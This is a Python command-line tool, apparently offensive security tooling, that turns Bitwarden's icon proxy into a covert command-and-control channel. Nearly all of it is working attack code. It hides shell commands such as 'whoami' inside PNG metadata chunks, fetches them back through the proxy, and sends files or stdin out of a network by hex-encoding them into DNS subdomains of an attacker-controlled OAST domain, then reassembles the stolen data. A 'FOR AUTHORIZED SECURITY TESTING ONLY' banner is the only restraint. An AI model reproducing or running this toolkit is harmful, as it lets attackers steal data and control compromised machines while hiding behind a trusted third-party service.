#!/usr/bin/env python3
"""
Bitwarden Icon Proxy C2 Toolkit

All-in-one tool for demonstrating the bidirectional C2 channel
through icons.bitwarden.net. Combines PNG embedding (tEXt, EXIF,
polyglot), DNS exfiltration, proxy passthrough testing, and decoding.

Subcommands:
    embed   — Create PNG with embedded payload (tEXt, exif, or polyglot)
    exfil   — Exfiltrate data via DNS subdomain encoding through proxy
    fetch   — Fetch PNG via proxy and extract embedded metadata
    decode  — Reconstruct exfiltrated data from OAST export JSON
    test    — Run end-to-end channel verification

Usage:
    python3 icon_c2.py embed --payload '{"cmd":"whoami"}' -o cmd.png
    python3 icon_c2.py embed --payload '{"cmd":"id"}' --mode exif -o cmd.png
    python3 icon_c2.py embed --payload '{"cmd":"ls"}' --mode polyglot -o cmd.png
    python3 icon_c2.py exfil --oast <domain> --data "sensitive"
    python3 icon_c2.py fetch --hostname <cache-bust>.<your-server>
    python3 icon_c2.py decode --file oast-export.json --tag d
    python3 icon_c2.py test --oast <domain> --data "test"

FOR AUTHORIZED SECURITY TESTING ONLY
"""

import struct
import zlib
import json
import time
import random
import string
import re
import ssl
import urllib.request
import urllib.error
import argparse
import sys
from pathlib import Path


ICON_PROXY = "https://icons.bitwarden.net"
MAX_LABEL_LEN = 50
MAX_HOSTNAME_LEN = 253


# ─── PNG Construction ───────────────────────────────────────────────


def _chunk(chunk_type: bytes, data: bytes) -> bytes:
    body = chunk_type + data
    crc = struct.pack(">I", zlib.crc32(body) & 0xFFFFFFFF)
    return struct.pack(">I", len(data)) + body + crc


def _minimal_png_parts(width: int = 16, height: int = 16) -> tuple:
    """Return (signature, IHDR, IDAT, IEND) for a minimal red PNG."""
    sig = b"\x89PNG\r\n\x1a\n"
    ihdr = _chunk(b"IHDR", struct.pack(">IIBBBBB", width, height, 8, 2, 0, 0, 0))
    raw_row = b"\x00" + (b"\xff\x00\x00" * width)
    raw_image = raw_row * height
    idat = _chunk(b"IDAT", zlib.compress(raw_image))
    iend = _chunk(b"IEND", b"")
    return sig, ihdr, idat, iend


def embed_text(payload: str, keyword: str = "Comment") -> bytes:
    """Embed payload in PNG tEXt chunk."""
    sig, ihdr, idat, iend = _minimal_png_parts()
    text_data = keyword.encode("latin-1") + b"\x00" + payload.encode("utf-8")
    text_chunk = _chunk(b"tEXt", text_data)
    return sig + ihdr + text_chunk + idat + iend


def embed_exif(payload: str) -> bytes:
    """Embed payload in a fake EXIF-style iTXt chunk.

    Uses iTXt (international text) which supports UTF-8 and is often
    used for XMP/EXIF-like metadata in PNGs. The proxy passes these through.
    """
    sig, ihdr, idat, iend = _minimal_png_parts()

    keyword = b"XML:com.adobe.xmp"
    # iTXt format: keyword \x00 compression_flag \x00 compression_method
    #              language \x00 translated_keyword \x00 text
    itxt_data = keyword + b"\x00\x00\x00\x00\x00" + payload.encode("utf-8")
    itxt_chunk = _chunk(b"iTXt", itxt_data)

    # Also add a standard tEXt as fallback
    text_data = b"Comment\x00" + payload.encode("utf-8")
    text_chunk = _chunk(b"tEXt", text_data)

    return sig + ihdr + itxt_chunk + text_chunk + idat + iend


def embed_polyglot(payload: str) -> bytes:
    """Create a polyglot PNG that embeds payload in multiple locations.

    Embeds in:
    1. tEXt chunk (standard metadata)
    2. iTXt chunk (international text / XMP-style)
    3. zTXt chunk (compressed text — survives even if proxy decompresses)

    The same payload is in all three locations for maximum survivability.
    """
    sig, ihdr, idat, iend = _minimal_png_parts()

    payload_bytes = payload.encode("utf-8")

    # tEXt — uncompressed, ASCII keyword
    text_chunk = _chunk(b"tEXt", b"Comment\x00" + payload_bytes)

    # iTXt — international text, UTF-8
    itxt_data = b"Description\x00\x00\x00\x00\x00" + payload_bytes
    itxt_chunk = _chunk(b"iTXt", itxt_data)

    # zTXt — compressed text
    ztxt_data = b"Source\x00\x00" + zlib.compress(payload_bytes)
    ztxt_chunk = _chunk(b"zTXt", ztxt_data)

    return sig + ihdr + text_chunk + itxt_chunk + ztxt_chunk + idat + iend


# ─── PNG Parsing ────────────────────────────────────────────────────


def parse_png_metadata(data: bytes) -> list:
    """Extract all text metadata chunks from PNG."""
    chunks = []
    offset = 8

    while offset < len(data) - 8:
        if offset + 8 > len(data):
            break

        length = struct.unpack(">I", data[offset : offset + 4])[0]
        chunk_type = data[offset + 4 : offset + 8].decode("ascii", errors="replace")

        if offset + 12 + length > len(data):
            break

        chunk_data = data[offset + 8 : offset + 8 + length]

        if chunk_type == "tEXt":
            text = chunk_data.decode("latin-1", errors="replace")
            null_idx = text.find("\x00")
            if null_idx >= 0:
                chunks.append({
                    "type": "tEXt",
                    "keyword": text[:null_idx],
                    "value": text[null_idx + 1 :],
                })

        elif chunk_type == "iTXt":
            text = chunk_data.decode("utf-8", errors="replace")
            null_idx = text.find("\x00")
            if null_idx >= 0:
                keyword = text[:null_idx]
                rest = chunk_data[null_idx + 1 :]
                # Skip compression flag, method, language, translated keyword
                # (each null-terminated)
                null_count = 0
                value_start = 0
                for i, b in enumerate(rest):
                    if b == 0:
                        null_count += 1
                    if null_count >= 3:
                        value_start = i + 1
                        break
                value = rest[value_start:].decode("utf-8", errors="replace")
                chunks.append({"type": "iTXt", "keyword": keyword, "value": value})

        elif chunk_type == "zTXt":
            null_idx = chunk_data.find(b"\x00")
            if null_idx >= 0:
                keyword = chunk_data[:null_idx].decode("latin-1")
                compression_method = chunk_data[null_idx + 1]
                compressed_data = chunk_data[null_idx + 2 :]
                if compression_method == 0:
                    try:
                        value = zlib.decompress(compressed_data).decode("utf-8", errors="replace")
                    except zlib.error:
                        value = "[decompression failed]"
                else:
                    value = "[unknown compression]"
                chunks.append({"type": "zTXt", "keyword": keyword, "value": value})

        offset += 12 + length

    return chunks


# ─── Network ────────────────────────────────────────────────────────


def _rand(n: int = 6) -> str:
    return "".join(random.choices(string.ascii_lowercase, k=n))


def _fetch_proxy(hostname: str, timeout: int = 15) -> bytes:
    url = f"{ICON_PROXY}/{hostname}/icon.png"
    ctx = ssl.create_default_context()
    req = urllib.request.Request(url, headers={
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
    })
    with urllib.request.urlopen(req, context=ctx, timeout=timeout) as resp:
        return resp.read()


def _send_dns(hostname: str) -> bool:
    url = f"{ICON_PROXY}/{hostname}/icon.png"
    ctx = ssl.create_default_context()
    try:
        req = urllib.request.Request(url, headers={"User-Agent": "Mozilla/5.0"})
        urllib.request.urlopen(req, context=ctx, timeout=10)
        return True
    except urllib.error.HTTPError:
        return True
    except Exception:
        return False


# ─── Subcommands ────────────────────────────────────────────────────


def cmd_embed(args):
    """Create PNG with embedded payload."""
    if args.payload_file:
        payload = Path(args.payload_file).read_text().strip()
    else:
        payload = args.payload

    mode = args.mode
    if mode == "text":
        png = embed_text(payload, keyword=args.keyword)
    elif mode == "exif":
        png = embed_exif(payload)
    elif mode == "polyglot":
        png = embed_polyglot(payload)
    else:
        print(f"[-] Unknown mode: {mode}")
        sys.exit(1)

    out = Path(args.output)
    out.write_bytes(png)
    print(f"[+] PNG written: {out} ({len(png)} bytes)")
    print(f"[+] Mode: {mode}")
    print(f"[+] Payload: {payload[:80]}{'...' if len(payload) > 80 else ''}")

    if args.verify:
        chunks = parse_png_metadata(png)
        print(f"\n[*] Verification — {len(chunks)} metadata chunk(s):")
        for c in chunks:
            print(f"    [{c['type']}] {c['keyword']}: {c['value'][:100]}")


def cmd_exfil(args):
    """Exfiltrate data via DNS through proxy."""
    if args.file:
        with open(args.file) as f:
            data = f.read()
    elif args.stdin:
        data = sys.stdin.read()
    else:
        data = args.data

    if not data or not data.strip():
        print("[-] No data to exfiltrate")
        sys.exit(1)

    if len(data) > 500:
        print(f"[!] Truncating from {len(data)} to 500 chars")
        data = data[:500]

    encoded = data.encode("utf-8").hex()
    labels = [encoded[i : i + MAX_LABEL_LEN] for i in range(0, len(encoded), MAX_LABEL_LEN)]
    tag = args.tag

    print(f"DNS Exfiltration via Icon Proxy")
    print(f"  Proxy: {ICON_PROXY}")
    print(f"  OAST:  {args.oast}")
    print(f"  Tag:   {tag}")
    print(f"  Data:  {data[:60]}{'...' if len(data) > 60 else ''}")
    print(f"  Chunks: {len(labels)}")
    print()

    # Header
    hdr = f"{tag}-hdr-{_rand(4)}-n{len(labels)}.{args.oast}"
    _send_dns(hdr)
    time.sleep(args.delay)

    sent = 0
    for i, label in enumerate(labels):
        hostname = f"{tag}-{i:03d}-{label}.{args.oast}"
        ok = _send_dns(hostname)
        status = "+" if ok else "-"
        print(f"  [{status}] {i + 1}/{len(labels)}: {label[:40]}{'...' if len(label) > 40 else ''}")
        if ok:
            sent += 1
        if i < len(labels) - 1:
            time.sleep(args.delay)

    print(f"\n[+] Sent {sent}/{len(labels)} chunks")
    print(f"[*] Check OAST for callbacks. Decode: echo '{encoded}' | xxd -r -p")


def cmd_fetch(args):
    """Fetch PNG via proxy and extract metadata."""
    hostname = args.hostname
    if not hostname:
        hostname = f"{_rand()}-fetch.{args.server}" if args.server else None
    if not hostname:
        print("[-] Provide --hostname or --server")
        sys.exit(1)

    print(f"Fetching via icon proxy: {ICON_PROXY}/{hostname}/icon.png")

    try:
        data = _fetch_proxy(hostname)
    except Exception as e:
        print(f"[-] Fetch failed: {e}")
        sys.exit(1)

    print(f"[+] Received {len(data)} bytes")

    if not data.startswith(b"\x89PNG"):
        print("[-] Not a PNG")
        sys.exit(1)

    chunks = parse_png_metadata(data)

    if not chunks:
        print("[-] No metadata found (likely fallback PNG)")
        sys.exit(1)

    print(f"[+] {len(chunks)} metadata chunk(s):\n")
    for c in chunks:
        print(f"  [{c['type']}] {c['keyword']}:")
        print(f"    {c['value'][:200]}")
        try:
            parsed = json.loads(c["value"])
            print(f"    → JSON keys: {list(parsed.keys())}")
        except (json.JSONDecodeError, ValueError):
            pass
        print()


def _load_oast_hostnames(filepath: str) -> list:
    """Load hostnames from OAST export, handling nested formats."""
    raw = json.loads(Path(filepath).read_text())
    entries = []

    # interactsh format: {"app": "<json-string>"} → inner.data[]
    if isinstance(raw, dict) and "app" in raw and isinstance(raw["app"], str):
        try:
            inner = json.loads(raw["app"])
            entries = inner.get("data", [])
        except (json.JSONDecodeError, ValueError):
            pass

    # flat list format
    if not entries and isinstance(raw, list):
        entries = raw

    # dict with data/interactions key
    if not entries and isinstance(raw, dict):
        entries = raw.get("data", raw.get("interactions", []))

    hostnames = []
    for entry in entries:
        if isinstance(entry, dict):
            fqdn = entry.get("full-id", "") or entry.get("fullId", "") or entry.get("full_id", "")
            if fqdn:
                hostnames.append(fqdn.lower())

    return hostnames


def cmd_decode(args):
    """Reconstruct data from OAST export."""
    hostnames = _load_oast_hostnames(args.file)

    if not hostnames:
        print("[-] No DNS interactions found")
        sys.exit(1)

    if args.list_tags:
        pattern = re.compile(r"^([a-z0-9_-]+)-(\d{1,3})-([0-9a-f]{4,})\.")
        tags = {}
        for h in hostnames:
            m = pattern.search(h)
            if m:
                tags[m.group(1)] = tags.get(m.group(1), 0) + 1
        print(f"Tags ({len(tags)}):")
        for t, c in sorted(tags.items(), key=lambda x: -x[1]):
            print(f"  {t}: {c} chunk(s)")
        return

    if not args.tag:
        print("[-] Specify --tag or --list-tags")
        sys.exit(1)

    pattern = re.compile(rf"^{re.escape(args.tag)}-(\d+)-([0-9a-f]+)\.")
    chunks = {}
    for h in hostnames:
        m = pattern.search(h)
        if m:
            chunks[int(m.group(1))] = m.group(2)

    if not chunks:
        print(f"[-] No chunks for tag '{args.tag}'")
        sys.exit(1)

    combined = "".join(v for _, v in sorted(chunks.items()))
    try:
        decoded = bytes.fromhex(combined).decode("utf-8", errors="replace")
    except ValueError as e:
        print(f"[-] Decode error: {e}")
        sys.exit(1)

    if args.raw:
        print(decoded, end="")
    else:
        print(f"Tag: {args.tag} | Chunks: {len(chunks)} | Hex: {len(combined)} chars")
        print(f"{'='*50}")
        print(decoded)
        print(f"{'='*50}")


def cmd_test(args):
    """End-to-end channel test."""
    print(f"Bitwarden Icon Proxy C2 Channel Test")
    print(f"Proxy: {ICON_PROXY}")
    print(f"Time:  {time.strftime('%Y-%m-%d %H:%M:%S')}")

    if args.oast:
        data = args.data or "ICON-C2-E2E-TEST"
        encoded = data.encode().hex()
        labels = [encoded[i : i + MAX_LABEL_LEN] for i in range(0, len(encoded), MAX_LABEL_LEN)]
        tag = f"e2e-{_rand(4)}"

        print(f"\n--- DNS Exfil Test ---")
        print(f"Data: {data}")
        print(f"Tag:  {tag}")
        print(f"OAST: {args.oast}")

        for i, label in enumerate(labels):
            hostname = f"{tag}-{i:03d}-{label}.{args.oast}"
            ok = _send_dns(hostname)
            print(f"  [{'+'if ok else '-'}] {hostname[:80]}...")
            if i < len(labels) - 1:
                time.sleep(1)

        print(f"\n[+] Check OAST for '{tag}' callbacks from Azure IPs")
        print(f"[*] Decode: echo '{encoded}' | xxd -r -p")

    if args.server:
        print(f"\n--- Metadata Fetch Test ---")
        hostname = f"{_rand()}-test.{args.server}"
        print(f"Fetching: {ICON_PROXY}/{hostname}/icon.png")
        try:
            data_bytes = _fetch_proxy(hostname)
            chunks = parse_png_metadata(data_bytes)
            if chunks:
                print(f"[+] {len(chunks)} metadata chunk(s) survived proxy:")
                for c in chunks:
                    print(f"    [{c['type']}] {c['keyword']}: {c['value'][:80]}")
            else:
                print(f"[-] No metadata (got {len(data_bytes)} byte fallback PNG)")
        except Exception as e:
            print(f"[-] Fetch failed: {e}")


# ─── Main ───────────────────────────────────────────────────────────


def main():
    parser = argparse.ArgumentParser(
        description="Bitwarden Icon Proxy C2 Toolkit",
        formatter_class=argparse.RawDescriptionHelpFormatter,
    )
    sub = parser.add_subparsers(dest="command", required=True)

    # embed
    p_embed = sub.add_parser("embed", help="Create PNG with embedded payload")
    src = p_embed.add_mutually_exclusive_group(required=True)
    src.add_argument("--payload", help="Data to embed")
    src.add_argument("--payload-file", help="File containing payload")
    p_embed.add_argument("--mode", choices=["text", "exif", "polyglot"], default="text",
                         help="Embedding mode (default: text)")
    p_embed.add_argument("--keyword", default="Comment", help="tEXt keyword (text mode only)")
    p_embed.add_argument("--output", "-o", required=True, help="Output PNG path")
    p_embed.add_argument("--verify", action="store_true", help="Read back and verify")

    # exfil
    p_exfil = sub.add_parser("exfil", help="Exfiltrate data via DNS through proxy")
    exfil_src = p_exfil.add_mutually_exclusive_group(required=True)
    exfil_src.add_argument("--data", help="String to exfiltrate")
    exfil_src.add_argument("--file", help="File to exfiltrate")
    exfil_src.add_argument("--stdin", action="store_true", help="Read from stdin")
    p_exfil.add_argument("--oast", required=True, help="OAST domain")
    p_exfil.add_argument("--tag", default="d", help="Label tag (default: d)")
    p_exfil.add_argument("--delay", type=float, default=0.5, help="Delay between requests")

    # fetch
    p_fetch = sub.add_parser("fetch", help="Fetch PNG via proxy and extract metadata")
    p_fetch.add_argument("--hostname", help="Full hostname to request")
    p_fetch.add_argument("--server", help="Server domain (adds random cache-bust prefix)")

    # decode
    p_decode = sub.add_parser("decode", help="Decode exfiltrated data from OAST export")
    p_decode.add_argument("--file", "-f", required=True, help="OAST export JSON")
    p_decode.add_argument("--tag", "-t", help="Tag to filter")
    p_decode.add_argument("--list-tags", action="store_true", help="List all tags")
    p_decode.add_argument("--raw", action="store_true", help="Raw output only")

    # test
    p_test = sub.add_parser("test", help="End-to-end channel verification")
    p_test.add_argument("--oast", help="OAST domain for DNS test")
    p_test.add_argument("--server", help="Your server for metadata test")
    p_test.add_argument("--data", help="Custom test data")

    args = parser.parse_args()

    commands = {
        "embed": cmd_embed,
        "exfil": cmd_exfil,
        "fetch": cmd_fetch,
        "decode": cmd_decode,
        "test": cmd_test,
    }
    commands[args.command](args)


if __name__ == "__main__":
    main()